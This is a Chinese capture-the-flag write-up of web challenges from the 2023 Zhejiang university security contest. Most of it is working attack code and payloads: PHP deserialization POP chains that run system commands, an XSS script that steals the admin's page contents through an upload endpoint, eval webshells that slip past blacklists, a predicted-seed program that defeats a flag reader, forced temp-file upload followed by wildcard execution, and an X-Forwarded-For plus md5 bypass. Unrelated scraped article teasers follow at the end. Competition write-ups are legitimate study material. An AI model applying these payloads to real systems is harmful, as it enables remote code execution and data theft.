第六届浙江省大学生网络与信息安全竞赛 2023年 初赛/决赛 WEB方向 Writeup

-------------------【初赛】-------------------

easy php

简单反序列化

image-20231104152452436

__debuginfo()魔术方法打印所需调试信息,反序列化时候执行

链子如下:

BBB::__debuginfo()->CCC::__toString()->AAA::__call()

EXP:

<?php
highlight_file(__FILE__);
class AAA{public $cmd;public function __call($name, $arguments){eval($this->cmd);return "done";}
}class BBB{public $param1;public function __debuginfo(){return ['debugInfo' => 'param1' . $this->param1];}
}class CCC{public $func;public function __toString(){var_dump("aaa");$this->func->aaa();}
}$a=new BBB();
$a->param1=new CCC();$a->param1->func=new AAA();
$a->param1->func->cmd='system(\'tac /flag\');';$aaa=serialize($a);
echo $aaa;
unserialize($aaa);?>

payload:

/?aaa=O:3:"BBB":1:{s:6:"param1";O:3:"CCC":1:{s:4:"func";O:3:"AAA":1:{s:3:"cmd";s:20:"system('tac /flag');";}}}

image-20231104152505802

注:这题本地运行不通,但是远程能打通。

my2do

好题好题,学学线下怎么打XSS。

源码如下:

app.js

const express = require('express');
const session = require('express-session');
const crypto = require('crypto');
const vist = require("./bot");
const multer = require('multer');
const path = require('path');const app = express();
app.set('view engine', 'ejs');
app.use(session({secret: crypto.randomBytes(16).toString('hex'),resave: false,saveUninitialized: false,cookie:{httpOnly: true}
}));
const storage = multer.diskStorage({destination: function (req, file, cb) {cb(null, 'public/uploads');},filename: function (req, file, cb) {cb(null, file.originalname);},
});const upload = multer({ storage: storage });
app.use(express.static('public'));const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'YOU DONT NO IT';
const FLAG = process.env.DASFLAG || 'flag{no_flag}';const reportIpsList = new Map();
const now = ()=>Math.floor(+new Date()/1000)
const db = new Map();
db.set('admin', {password: crypto.createHash('sha256').update(ADMIN_PASSWORD, 'utf8').digest('hex'), todos: [{text: FLAG, isURL: false}]});app.get("/", function (req, res) {if (req.session.username) return res.redirect('/todo');res.render('index', {nonce: crypto.randomBytes(16).toString('hex')})
});app.get("/todo",function (req, res) {if (!req.session.username) return res.redirect('/');let username = req.session.username;res.render('todo', {nonce: crypto.randomBytes(16).toString('hex'),username: username,todos: db.get(username).todos})
});app.get("/api/logout", function (req, res) {req.session.destroy();return res.redirect('/');
});app.post("/api/todo",express.json({ type: Object }) ,function (req, res) {const { text } = req.body || req.query;if (!req.session.username) return res.json({ error: "Login first!" });let username = req.session.username;if (!db.has(username)) return res.json({ error: "User doesn't exist!" });if (!text || typeof text !== "string") {return res.json({error: "Missing text"});}let isURL = false;if (RegExp('^https?://.*$').test(text)) {isURL = true;}db.get(username).todos.push({text: text, isURL: isURL});return res.json({ success: true });
});app.post("/api/register", express.json({ type: Object }), function (req, res) {const { username, password }= req.body;if (typeof username !== 'string') return res.json({ error: "Invalid username" });if (typeof password !== 'string') return res.json({ error: "Invalid password" });if (db.has(username)) return res.json({ error: "User already exist!" });const hash = crypto.createHash('sha256').update(password, 'utf8').digest('hex');db.set(username, {password: hash, todos: []});req.session.username = username;return res.json({ success: true });
});app.post("/api/login", express.json({ type: Object }), function (req, res) {const { username, password }= req.body;if (typeof username !== 'string') return res.json({ error: "Invalid username" });if (typeof password !== 'string') return res.json({ error: "Invalid password" });if (!db.has(username)) return res.json({ error: "User doesn't exist!" });const hash = crypto.createHash('sha256').update(password, 'utf8').digest('hex');if (db.get(username)?.password !== hash) return res.json({ error: "Wrong password!" });req.session.username = username;return res.json({ success: true });
});//deving........//其实可以上传的
app.post('/api/upload', upload.single('file'), (req, res) => {return res.send('文件上传成功!');
});app.post("/api/report", express.json({ type: Object }), function (req, res) {if (!req.session.username) return res.send("Login first!");//延时if(reportIpsList.has(req.ip) && reportIpsList.get(req.ip)+90 > now()){return res.send(`Please comeback ${reportIpsList.get(req.ip)+90-now()}s later!`);}reportIpsList.set(req.ip,now());const { url } = req.body;if (typeof url !== 'string') return res.send("Invalid URL");//只能访问http://127.0.0.1/xxxxxif (!url || !RegExp('^http://127\.0\.0\.1.*$').test(url)) {return res.status(400).send('Invalid URL');}try {vist(url);return res.send("admin has visted your url");} catch {return res.send("some error!");}
});app.listen(80, () => {console.log(`app run in ${80}`)});

bot.js

const puppeteer = require("puppeteer");const SITE = process.env.SITE || 'http://localhost';
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'YOU DONT NO IT';const visit = async url => {var browser;try {browser = await puppeteer.launch({headless: true,executablePath: "/usr/bin/chromium",args: ['--no-sandbox']});page = await browser.newPage();await page.goto(SITE);await page.waitForTimeout(500);await page.type('#username', 'admin');await page.type('#password', ADMIN_PASSWORD);await page.click('#btn')await page.waitForTimeout(800);await page.goto(url);await page.waitForTimeout(3000);await browser.close();} catch (e) {console.log(e);} finally {if (browser) await browser.close();}
}module.exports = visit

可以记ToDo,flag就是admin的ToDo

image-20231104174229186

系统功能如下:

1、用户可以记录todo

2、用户可以指定http://127.0.0.1/xxx网址让admin访问

3、用户可以在/api/upload路由上传文件,在/upload/路由下访问上传的文件

admin的todo数据获取方法如下(Elements中尝试得到)

document.getElementsByClassName('has-text-left')[2].innerHTML

但是当时是内网打题,不出网带不出数据。其实是可以带出的,即使不用VPS。

思路:XSS。html中js代码获取admin的todo,并且以get参数形式访问/upload下的另一个html文件,另一个html文件也嵌套js,接受get参数和内容(flag)并且写入/upload路由下的1.txt文件中

其他师傅的wp

uploads/jump.html

<!DOCTYPE html>
<html><head>
</head><body><script>location.href='http://localhost/uploads/e.html'</script>
</body></html>

uploads/e.html

<!DOCTYPE html>
<html><head>
</head><body><script>let content = ''fetch('/todo', {method: 'GET',}).then(res => {res.text().then((data) => {content = data;}).then(() => {let formdata = new FormData();let blob = new Blob([content],{type:"text/plain"});formdata.append("file",blob,"flaga");var requestOptions = {method: 'POST',body: formdata,redirect: 'follow'};fetch('/api/upload', requestOptions);})})</script>
</body></html>

先跳转改host到localhost

然后访问并上传admin的notes

最后读取/uploads/flaga

0RAY的wp

<script>if(document.domain != "localhost") {location = "http://localhost/uploads/attack.html";}else{fetch("/todo", {method: "GET", credentials: "include"}).then(res => res.text()).then(data => {var blob = new Blob([data], { type: 'text/plain' });var formData = new FormData();formData.append('file', blob, 'result.txt');fetch('/api/upload', {method: 'POST',body: formData,});});
}
</script>

can you read flag

要拿到shell很简单,写个转接头?a=eval($_POST[1])连蚁剑或者直接getshell就行啦。

源码如下

<?php
#error_reporting(0);
$blacklist=['y','sh','print','printf','cat','tac','read','vim','curl','ftp','glob','flag','\|','`'];
foreach ($blacklist as $black) {if (stristr($_GET['a'], $black)) {die("hacker?");}}
eval($_GET['a']);
?>

难度在/flag我们没有读取权限,但是根目录下有个可执行文件/readflag,有权限读取flag。

我们把/readflag丢给PWN爷爷:

image-20231114144346507

int __cdecl main(int argc, const char **argv, const char **envp)
{unsigned int v3; // eaxFILE *v5; // raxint v6; // [rsp+8h] [rbp-118h] BYREFchar v7; // [rsp+Fh] [rbp-111h] BYREFchar v8[256]; // [rsp+10h] [rbp-110h] BYREFunsigned int v9; // [rsp+110h] [rbp-10h]unsigned int v10; // [rsp+114h] [rbp-Ch]int v11; // [rsp+118h] [rbp-8h]int i; // [rsp+11Ch] [rbp-4h]v3 = time(0LL);srand(v3);puts("You want flag? (y/n)");fflush(_bss_start);__isoc99_scanf("%c", &v7);if ( v7 != 121 )return 1;puts("But you need to do some calcs:");fflush(_bss_start);v11 = rand() % 101 + 100;for ( i = 0; i < v11; ++i ){v10 = rand() % 1000000;v9 = rand() % 9000000;printf("%d+%d = ?\n", v10, v9);fflush(_bss_start);__isoc99_scanf("%d", &v6);if ( v9 + v10 != v6 )return 1;}v5 = fopen("/flag", "r");__isoc99_fscanf(v5, "%s", v8);printf("here you are:%s", v8);fflush(_bss_start);return 0;
}

大概能看懂源码的意思,随机进行100-200次加法,如果都做对的就返回flag。由于没有交互式shell,我们不能一次次的输入,只能一次性把答案都输入进去。(反弹shell得到的shell是交互式的,蚁剑虚拟终端不是)

随机数种子是时间,秒为单位,可以预测一次性echo进去拿到flag。

来自0RAY的wp:

/tmp/src目录下可以发现题目 /readflag 的源码,其随机数生成有缺陷,种子是time(0),因此可以写一个c语言程序,得到10秒之后的结果,输出到文件里,再将文件重定向给/readflag,即可通过计算题检查

构造的exp.c文件

int main(){unsigned int v3 = time(0)+10;unsigned int v9;unsigned int v10;srand(v3);int v11 = rand() % 101 + 100;printf("y\n");for (int i = 0; i < v11; ++i){v10 = rand() % 1000000;v9 = rand() % 9000000;printf("%d\n", v10+v9);}
}

由于根目录我们无写入权限,因此我们把exp文件写入/tmp目录下。复现环境是自己的vps。

命令如下:

gcc -o exp exp.c
ls
./exp > a
/readflag<a
/readflag<a
/readflag<a
...
一直输入这个命令
...
/readflag<a

以上的命令需要连贯执行。

顺便解释一下:

我们初始的c脚本时间种子是十秒后,在哪个的十秒后呢?不是执行之后的第十秒,是编译后的第十秒。编译后运行,把结果导出到文件a,然后我们一直把a文件中的内容重定向到可执行文件/readflag(传递给某个程序或脚本进行处理)。

image-20231114201557741

MISC-number game

Ctrl+U查看源码,有一个js文件,js源码有加密。

image-20231104160406894

放到本地,分析一下

image-20231104160434552

没看懂游戏的意思,但是源码意思大概能看懂一点。flag应该是通过roll函数中的alert()输出,但是有if,限制了条件。

我们把if去掉。放到题目控制台跑一下,出flag。

image-20231104160614714

secObj***

题目给了jar包,大头哥做了环境。之后复现。。。

https://mp.weixin.qq.com/s/BWIae7s8QP6KE0jq_IM5JA

文件上传当时没出,后缀限制一直过不去。

image-20231104154907561

image-20231104183117323

-------------------【决赛】-------------------

image-20231111092925942

p2rce

源码给了。

<?php
error_reporting(0);class CCC {public $c;public $a;public $b;public function __destruct(){$this->a = 'flag';if($this->a === $this->b) {echo $this->c;}}
}class AAA {public $s;public $a;public function __toString(){$p = $this->a;return $this->s->$p;}
}class BBB {private $b;public function __get($name){if (is_string($this->b) && !preg_match("/[A-Za-z0-9_$]+/", $this->b)) {global $flag;$flag = $this->b;return 'ok';} else {return '<br/>get it!!'; }}
}if(isset($_GET['ctf'])) {if(preg_match('/flag/i', $_GET['ctf'])) {die('nonono');}$a = unserialize($_GET['ctf']);system($flag);throw new Exception("goaway!!!");
} else {highlight_file(__FILE__);
}

反序列化需要注意使用GC回收机制过滤flag,用变量引用

给个EXP:

<?php
error_reporting(0);class CCC {public $c;public $a;public $b;public function __destruct()//1{$this->a = 'flag';if($this->a === $this->b) {echo $this->c;}}
}class AAA {public $s;public $a;public function __toString()//2{$p = $this->a;return $this->s->$p;}
}class BBB {public $b;public function __get($name){if (is_string($this->b) && !preg_match("/[A-Za-z0-9_$]+/", $this->b)) {global $flag;$flag = $this->b;      //要执行的命令return 'ok';} else {return '<br/>get it!!';}}
}//GC回收机制
//过滤flag,用变量引用$a=new CCC();
$a->a=&$a->b;$a->c=new AAA();
$a->c->s=new BBB();
$a->c->a='c';
$a->c->s->b='/???/????????[@-[]';  //匹配/tmp/phpxxxxxxecho serialize($a);unserialize($a);

剩下的参考我下面这篇wp:

-----------------------------------------------【私教web13】-----------------------------------------------

直接给了源码。

image-20230704191145474

他是命令执行不是代码执行,不能进行异或/拼接等操作。

【强制文件上传下的无字母数字RCE】

这题考PHP强制文件上传机制。

PHP超全局变量如下

$_GET      //存放所有GET请求
$_POST
$_SERVER
$_COOKIE
$_SESSION
$_FILES     //存放所有文件

在PHP中,强制上传文件时,文件会被存在临时文件/tmp/phpxxxxxx中

这个文件最后六位xxxxxx有大小写字母、数字组成,是生命周期只在PHP代码运行时。

题目中正则匹配过滤了大小写字母(i)和数字。

故我们要匹配/tmp/phpxxxxxx的话可以用通配符/???/???

/???/???范围太大了,我们如何缩小范围呢。

查看ascii码表,A前面是@,Z后面是[

/???/???[@-[]

就表示了最后一位是大写

当临时文件最后一位是大写字母时/???/????????[@-[]就能匹配到这个文件

linux中 . 代表执行一个文件。

如果上传的文件是一个shell脚本,那么. /???/???[@-[]就能执行这个shell脚本,实现RCE。

如何强制上传文件?

我们可以在vps上写一个表单文件

upload.html

<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" ><input name="file" type="file" /><input type="submit" type="gogogo!" /></form>

访问vps上的upload.html

image-20230704193344921

上传内容为whoami的txt文件。同时抓包。

image-20230704193602196

改一下包。发现能正常执行了,并且返回了结果。

image-20230704194000425

获得flag。(成功的概率,就是最后一位是大写的概率是26/26+26+10,多发几次包就行了)

image-20230704194109085

-----------------------------------------------【私教web13】-----------------------------------------------

easy serialize

开局给源码:

<?php
//flag is in /flag.php
error_reporting(0);
class baby{public $var;public $var2;public $var3;public function learn($key){echo 222;echo file_get_contents(__DIR__.$key);//$key=flag}public function getAge(){//2return $this->var2->var3;}//__isset(),当对不可访问属性调用isset()或empty()时调用public function __isset($var){$this->learn($var);}//__invoke(),调用函数的方式调用一个对象时的回应方法public function __invoke(){return $this->learn($this->var);}public function __wakeup(){//1$this->getAge();}
}class young{public $var;public function __toString(){return ($this->var)();}
}class old{public $var;public function __get($key){echo 111;return "Okay, you get the key, but we send you ".$this->var;}
}

POP链如下:

baby::__wakeup()->
baby::getAge()->
old::__get->
young::__toString()->
baby::__invoke()->
baby::learn($key)

EXP如下:

<?php
//flag is in /flag.php
error_reporting(0);
class baby{public $var;public $var2;public $var3;public function learn($key){echo 222;echo file_get_contents(__DIR__.$key);//$key=flag}public function getAge(){//2return $this->var2->var3;}//__isset(),当对不可访问属性调用isset()或empty()时调用public function __isset($var){$this->learn($var);}//__invoke(),调用函数的方式调用一个对象时的回应方法public function __invoke(){return $this->learn($this->var);}public function __wakeup(){//1$this->getAge();}
}class young{public $var;public function __toString(){return ($this->var)();}
}class old{public $var;public function __get($key){echo 111;return "Okay, you get the key, but we send you ".$this->var;}
}//baby::__wakeup()->
//baby::getAge()->
//old::__get->
//young::__toString()->
//baby::__invoke()->
//baby::learn($key)$a=new baby();
$a->var2=new old();
$a->var3='xxx';$a->var2->var=new young();$a->var2->var->var=new baby();$a->var2->var->var->var='/../../../../../../var/www/html/flag.php';$b=serialize($a);
echo $b;
unserialize($b);?>

注意点:__DIR__是当前目录,测试代码如下:

image-20231112044324591

带入反序列化中存在目录穿越漏洞。

payload:

?age=O:4:"baby":3:{s:3:"var";N;s:4:"var2";O:3:"old":1:{s:3:"var";O:5:"young":1:{s:3:"var";O:4:"baby":3:{s:3:"var";s:40:"/../../../../../../var/www/html/flag.php";s:4:"var2";N;s:4:"var3";N;}}}s:4:"var3";s:3:"xxx";}

flag在源码里面:

image-20231112014627118

baby md5

直接给了源码:

index.php

<?php
error_reporting(0);
require_once 'check.php';if (isRequestFromLocal()) {echo 'hello!';$a = $_GET['cmd'];$b = $_GET['key1'];$c = $_GET['key2'];if(!preg_match("/eval|shell_exec|system|proc_open|popen|pcntl_exec|\'|cat|include|whoami/i",$a)){if(md5($b) == md5($c)){eval($a);}}else{echo 'Oh no, you are hacker!!!';}
} else {die("failed");
}
?>

check.php:

<?php
error_reporting(0);
function isRequestFromLocal() {// 定义本地IP地址$localIP = '127.0.0.1';// 获取客户端IP地址$clientIP = $_SERVER['HTTP_X_FORWARDED_FOR'];// 比较客户端IP地址与本地IP地址if ($clientIP === $localIP) {// 请求来自本地return true;} else {// 请求不来自本地return false;}
}
?>

写个转接头就没有限制了。

payload:

GET:?cmd=assert($_POST[1]);
POST:key1[]=1&key2[]=3&1=system('tac /flag');
X-Forwarded-For:127.0.0.1

image-20231112014540177

babybabyweb

有点点脑洞。。。

开局是个登录界面

image-20231112011144254

随便一个用户名aaa登录后,会显示我们不是admin。应该是身份伪造。

image-20231112012118089

访问一下/admin路由,发现我们的cookie变了,但是还是不能变成admin身份,估计就是把我们cookie里面带有的信息中的名字改成admin。

image-20231112012354798

尝试解密cookie:gASVLgAAAAAAAACMA2FwcJSMBFVzZXKUk5QpgZR9lCiMBG5hbWWUjANhYWGUjAVhZG1pbpSJdWIu

发现不能完全解密或者是解密后的明文中带有不可见字符:

image-20231112012518010

从解密后的零零散散的信息中看出cookie携带的信息其实没变。。。。

好奇他的工作原理。如何解密成为了一个问题。赛后问了0RAYS的师傅,cookie是pickle反序列化后base64编码的字符串,可以直接执行命令。。。。

好吧,我认,唯一能推断是pickle反序列化的估计就是解密后的明文中带有不可见字符了吧。

0RAY的wp:

base64 解码后明显是 pickle 序列化的数据,直接打个 pickle 反序列化 rce 即可

内网和题目是通的,本地 python -m http.server 4444 开个监听

然后生成的 cookie 替换下发过去即可 rce 外带出 flag

Server-Side Read File***

一个java题。绕过云waf、SSRF、目录穿越、本地文件读取。

https://mp.weixin.qq.com/s/aG8MxxIslpFmI3WE15jC3Q

easy sql***

题目描述:端口号:8081。mysql8注入

登陆界面可以万能密码登录,有过滤,fuzz如下:

image-20231111121359916

ezWEB***

300分的困难java。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/194326.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

微服务实战系列之Sentinel

前言 微服务架构&#xff08;Microservice Architecture&#xff09;是一种架构概念&#xff0c;旨在通过将功能分解到各个离散的服务中以实现对解决方案的解耦。 近年来&#xff0c;微服务已赫然崛起于IT界&#xff0c;越来越多的程序员不得不向之靠拢。也正因为各行各业都愿为…

Mac电脑好用的窗口管理软件 Magnet 中文for mac

Magnet是一款用于Mac操作系统的窗口管理工具&#xff0c;它可以帮助您快速和方便地组织和管理应用程序窗口&#xff0c;以提高您的工作效率和多任务处理能力。 以下是Magnet的一些主要功能和特点&#xff1a; 窗口自动调整&#xff1a;Magnet允许您通过简单的拖放操作或使用快…

linux三次握手、四次挥手

TCP协议是一个安全的、面向连接的、流式传输协议&#xff0c;所谓的面向连接就是三次握手&#xff0c;对于程序猿来说只需要在客户端调用connect()函数&#xff0c;三次握手就自动进行了。先通过下图看一下TCP协议的格式&#xff0c;然后再介绍三次握手的具体流程。 1.tcp协议…

深度学习之基于Pytorch和OCR的识别文本检测系统

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介深度学习与OCRPyTorch在OCR中的应用文本检测系统的关键组成部分1. 图像预处理2. 深度学习模型3. 文本检测算法4. 后处理 二、功能三、系统四. 总结 一项目简…

windows虚拟内存自定义分配以及mysql错误:Row size too large (> 8126)

文章目录 虚拟内存概要windows-server配置虚拟内存技术名词解释关于mysql错误Row size too large (> 8126)问题分析解决办法 虚拟内存概要 虚拟内存别称虚拟存储器&#xff08;Virtual Memory&#xff09;。电脑中所运行的程序均需经由内存执行&#xff0c;若执行的程序占用…

【Gitpod】云部署Stable Diffusion并且可以本地访问

文章目录 前言项目部署 项目启动参考文献 前言 本文介绍如何使用 Gitpod 部署 Stable Diffusion web UI。Gitpod 是一个基于云的开发环境&#xff0c;通过与 GitHub 集成&#xff0c;可以在浏览器中轻松进行代码开发和部署&#xff1b;Stable Diffusion 是 GitHub 上面的开源 …

飞书开发学习笔记(七)-添加机器人及发送webhook消息

飞书开发学习笔记(七)-添加机器人及发送webhook消息 一.添加飞书机器人 1.1 添加飞书机器人过程 在群的右上角点击折叠按键…选择 设置 群机器人中选择 添加机器人 选择自定义机器人&#xff0c;通过webhook发送消息 弹出的信息中有webhook地址&#xff0c;选择复制。 安…

C语言--字符串详解(多角度分析,什么是字符串?字符串如何存储?字符串如何应用?字符串常用的库函数有哪些?)

目录 一、前言 &#x1f4a6;什么是字符串 &#x1f4a6;字符串如何存储&#xff1f; 二、字符串常量和字符数组 &#x1f4a6;字符串常量 ✨什么是字符串常量&#xff1f; ✨字符串常量与指针 &#x1f4a6;字符数组 ✨字符数组的应用 &#x1f4a6;字符串常量与字符数组的…

t-product的matlab实现

t-product是一个比较好的概念&#xff0c;相对应于矩阵中的乘法。 定义如下 这里的 circ(A),MatVec(b) 的定义分别如下 这么定义的原因是为了映射到FFT域里面去&#xff0c;简化计算。 上面的一段摘录说明&#xff1a;直接按照定义来计算&#xff0c;会耗费大量的计算资源。因…

Java主流分布式解决方案多场景设计与实战

Java的主流分布式解决方案的设计和实战涉及到多个场景&#xff0c;包括但不限于以下几点&#xff1a; 分布式缓存&#xff1a;在Java的分布式系统中&#xff0c;缓存是非常重要的一部分。常用的分布式缓存技术包括Redis、EhCache等。这些缓存技术可以用来提高系统的性能和响应…

【AI视野·今日CV 计算机视觉论文速览 第278期】Mon, 30 Oct 2023

AI视野今日CS.CV 计算机视觉论文速览 Mon, 30 Oct 2023 Totally 50 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Computer Vision Papers Image Clustering Conditioned on Text Criteria Authors Sehyun Kwon, Jaeseung Park, Minkyu Kim, Jaewoong Cho, Ernest…

智能AI系统ChatGPT网站源码+支持OpenAI DALL-E3文生图+支持ai绘画(Midjourney)/支持GPT全模型+国内AI全模型

一、AI创作系统 SparkAi创作系统是基于OpenAI很火的ChatGPT进行开发的Ai智能问答系统和Midjourney绘画系统&#xff0c;支持OpenAI-GPT全模型国内AI全模型。本期针对源码系统整体测试下来非常完美&#xff0c;可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如…

github 私人仓库clone的问题

github 私人仓库clone的问题 公共仓库直接克隆就可以&#xff0c;私人仓库需要权限验证&#xff0c;要先申请token 1、登录到github&#xff0c;点击setting 打开的页面最底下&#xff0c;有一个developer setting 这里申请到token之后&#xff0c;注意要保存起来&#xff…

Unity开发之C#基础-异常处理(Try Catch)

前言 其实本来这章应该将栈和队列的 但是后来想想 栈和队列在实际应用很少跟多的是大家了解一下栈和队列的基本常识比如先进先出的是谁后进先出的是谁这种 csdn有很多介绍栈和队列的文章 我觉得都比我理解深刻所以大家可以去搜索参照一下 今天我们继续往下讲解 如何自己主动的…

SystemVerilog学习 (9)——随机化

目录 一、概述 二、随机化 2.1、如何简单地产生一个随机数 2.1.1 利用系统函数产生随机数 2.1.2 urandom() 2.2、什么需要随机化 2.3、随机约束 2.3.1 rand 和 randc 2.3.2 随机约束的使用 2.3.3 约束块 三、总结 一、概述 随着设计变得越来越大,要产生一个完整的激…

opencv车牌识别<二>

目录 一、车牌识别算法流程 二、车牌检测 一、车牌识别算法流程 在解释ANPR代码之前&#xff0c;需要明白主要步骤和使用ANPR 算法的任务。ANPR 有两个主要步骤:车牌检测和车牌识别。车牌检测的目的是在整个视频帧中检测到车牌位置。当在图像中检测到车牌时&#xff0c;分割的…

Qt图形视图框架:QGraphicsItem详解

Qt图形视图框架&#xff1a;QGraphicsItem详解 Chapter1 Qt图形视图框架&#xff1a;QGraphicsItem详解Chapter2 自定义QGraphicsItem实现平移、改变尺寸和旋转1. 平移2. 改变尺寸3. 旋转完整代码如下&#xff1a;头文件源文件 Chapter1 Qt图形视图框架&#xff1a;QGraphicsIt…

雷欧REO控制器维修REOVIB MFS268 M DP24

REO雷欧控制器维修常见型号包括&#xff1a; MFS268&#xff0c; MTS442&#xff0c; MTS443&#xff0c; MFR100/200&#xff0c; MFS158&#xff0c;MFS168等 涉及双层线圈层间短路的修理:振动控制器维修,双层线圈在上下层间发生层间短路&#xff0c;是由于层间材质不好或嵌…

【云原生-Kurbernets篇】Kurbernets集群的调度策略

调度 一、Kurbernetes的list-watch机制1.1 list-watch机制简介1.2 创建pod的流程&#xff08;结合list-watch机制&#xff09; 二、Scheduler的调度策略2.1 简介2.2 预选策略&#xff08;predicate&#xff09;2.3 优选策略&#xff08;priorities&#xff09; 三、标签管理3.1…

C# Onnx LSTR 基于Transformer的端到端实时车道线检测

目录 效果 模型信息 项目 代码 下载 效果 端到端实时车道线检测 模型信息 lstr_360x640.onnx Inputs ------------------------- name&#xff1a;input_rgb tensor&#xff1a;Float[1, 3, 360, 640] name&#xff1a;input_mask tensor&#xff1a;Float[1, 1, 360, …